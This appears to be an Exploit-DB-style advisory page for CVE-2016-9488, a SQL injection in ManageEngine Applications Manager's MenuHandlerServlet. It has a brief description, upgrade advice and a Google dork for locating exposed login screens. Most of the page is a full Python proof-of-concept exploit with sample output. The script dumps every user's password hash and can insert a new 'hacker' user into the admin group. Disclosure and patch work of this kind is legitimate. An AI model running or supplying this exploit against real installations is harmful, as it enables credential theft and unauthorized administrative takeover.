ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection

vendor:

Applications Manager

by:

aldorm

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Applications Manager

Affected Version From: 12

Affected Version To: 13 before Build 13200

Patch Exists: YES

Related CWE: CVE-2016-9488

CPE: a:manageengine:applications_manager

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2020

ManageEngine Applications Manager 13 – ‘MenuHandlerServlet’ SQL Injection

ManageEngine Applications Manager 12 and 13 before Build 13200 are vulnerable to a SQL Injection vulnerability in the MenuHandlerServlet servlet. An attacker can exploit this vulnerability to extract all users and passwords from the database, as well as create new users with administrative privileges.

Mitigation:

Upgrade to the latest version of ManageEngine Applications Manager 13 Build 13200 or later.

Source

Exploit-DB raw data:

# Exploit Title: ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection
# Google Dork: intitle:"Applications Manager Login Screen"
# Date: 2020-07-23
# Exploit Author: aldorm
# Vendor Homepage: https://www.manageengine.com/
# Software Link:
# Version: 12 and 13 before Build 13200
# Tested on: Windows
# CVE : 2016-9488

#!/usr/bin/env python2

# App:          ManageEngine Applications Manager
# Versions:     12 and 13 before build 13200
# CVE:          CVE-2016-9488
# Vuln Type:    SQL Injection
# CVSSv3:       9.8
# 
# PoC Autor:    aldorm
# Release date: 23-07-2020

# ./poc_CVE-2016-9488.py 192.168.123.113 8443 --create-user-hacker
# [*] Extracting all users:
# 	 admin:21232f297a57a5a743894a0e4a801fc3
# 	 reportadmin:21232f297a57a5a743894a0e4a801fc3
# 	 systemadmin_enterprise:21232f297a57a5a743894a0e4a801fc3
# [*] Creating new user: 
# 	User: hacker 
#	Password: admin
# [*] Verifing created user...
# Success.


import sys 
import requests
import urllib3
import json


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target = 'localhost'

def get_userpassword():
    sqli = ' UNION ALL SELECT userid,CONCAT(username,$$:$$,password),NULL FROM am_userpasswordtable--'
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);
    j = json.loads(r.text)
    return j

def create_user():
    sqli = '; INSERT INTO am_userpasswordtable VALUES (123123123, $$hacker$$,$$21232f297a57a5a743894a0e4a801fc3$$,NULL,NULL,$$21232f297a57a5a743894a0e4a801fc3$$,1);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$USERS$$);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$ADMIN$$);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    return 


def main ():
    if not len(sys.argv) > 2:
        print "Usage %s <target> <port> [--create-user-hacker]" % sys.argv[0]
        print "e.g. %s manageengine 8443 " % sys.argv[0]
        sys.exit(1)

    global target
    global port
    target=sys.argv[1]
    port=sys.argv[2]

    print "[*] Extracting all users:"
    j = get_userpassword()
    for user in j["0"]:
        print "\t %s" % user[1]
    

    if len(sys.argv) == 4 and sys.argv[3] == '--create-user-hacker':
        print "[*] Creating new user: \n\tUser: hacker \n\tPassword: admin"    
        create_user()
        print "[*] Verifing created user..."

        j = get_userpassword()
        for user in j["0"]:
            if user[1] == "hacker:21232f297a57a5a743894a0e4a801fc3":
                print "Success."
                return
        print "User not created."



if __name__ == '__main__':
    main()